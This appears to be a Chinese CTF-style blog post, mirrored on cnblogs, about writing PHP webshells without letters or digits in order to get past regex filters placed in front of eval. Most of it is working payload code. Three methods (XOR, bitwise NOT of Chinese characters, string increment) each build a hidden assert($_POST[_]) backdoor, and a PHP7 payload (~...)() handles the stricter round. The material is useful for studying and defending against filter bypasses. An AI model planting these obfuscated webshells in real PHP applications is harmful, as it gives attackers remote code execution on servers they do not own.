• 不使用数字和字母的PHP webshell


    Round 1

    代码如下:

    <?php
    if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
      eval($_GET['shell']);
    }

    思路

    将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。那么,变换方法 将是解决本题的要点。

    不过在此之前,需要了解php5和PHP7的一些差异。

    php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。

    但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

    下文均使用PHP5作为测试环境。

    方法一

    在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

    得到如下的结果(因为其中存在很多不可打印字符,所以用url编码表示了):

    $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';

    $__='_'.('%0D'^']').('%12'^']').('%0E'^']').('%09'^']'); // $__='_POST';
    $___=$$__;
    $_($___[_]); // assert($_POST[_]);

    执行结果如下:

    方法二

    和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。利用UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"x8c",其取反即为字母s

    <?php
    $__=('>'>'<')+('>'>'<');
    
    echo ~('和'{$__});
    ?>
    //s

    这里还利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

    利用这个特性,可生成如下答案:

    <?php
    $__=('>'>'<')+('>'>'<');     //$__ =2
    $_=$__/$__;               //$_=1
    
    $____='';
    $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
    
    $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
    
    $_=$$_____;
    $____($_[$__]);

    执行结果如下:

     

     方法三

    借助PHP的一个小技巧,文档: http://php.net/manual/zh/language.operators.increment.php

     也就是说,'a'++ => 'b''b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

    那么,如何拿到一个值为字符串'a'的变量呢?

    数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

    在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

    再取这个字符串的第一个字母,就可以获得'A'了。

    利用这个技巧,编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a):

    <?php
    $_=[];
    $_=@"$_"; // $_='Array';
    $_=$_['!'=='@']; // $_=$_[0];
    $___=$_; // A
    $__=$_;  // A
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $___.=$__; // S
    $___.=$__; // S
    $__=$_;    
    $__++;$__++;$__++;$__++; // E 
    $___.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
    $___.=$__;   
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
    $___.=$__;   //ASSERT
    
    $____='_';
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
    $____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
    $____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
    $____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
    $____.=$__;  //POST
    
    $_=$$____;
    $___($_[_]); // ASSERT($_POST[_]);

    执行结果如下:(别忘了进行URL编码

    Round 2

    代码如下:

    <?php
    if(isset($_GET['code'])){
        $code = $_GET['code'];
        if(strlen($code)>35){
            die("Long.");
        }
        if(preg_match("/[A-Za-z0-9_$]+/",$code)){
            die("NO.");
        }
        eval($code);
    }else{
        highlight_file(__FILE__);
    }

     round1里面介绍了如何构造无字母数字的webshell。其中有两个主要的思路:1、利用位运算 ;2、利用自增运算符。

    这道题多了两个限制:1、webshell长度不超过35位; 2、除了不包含字母数字,还不能包含$_

    round1中给出的所有方法,都用到了PHP中的变量,需要对变量进行变形、异或、取反等操作,最后动态执行函数。但现在,因为$不能使用了,所以我们无法构造PHP中的变量。

    PHP7下解决

    php7中修改了表达式执行的顺序:http://php.net/manual/zh/migration70.incompatible.php :

     PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

    所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):

    (~%8F%97%8F%96%91%99%90)();

    执行结果如下:

    php5下解决

    参考:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

    参考:

    https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

    https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

  • 相关阅读:
    文件和数组的排序
    批量删除文档中的注释和空行
    strcat()的编写
    OpenGL鼠标旋转图像
    c++对文件操作的支持(二)
    汉字的16进制存储
    启动程序的c++方法
    HDU 2199 Can you solve this equation? 二分
    HDU 2899 Strange fuction 二分
    HDU 1233 还是畅通工程 最小生成树
  • 原文地址:https://www.cnblogs.com/vege/p/13188773.html
Copyright © 2020-2023  润新知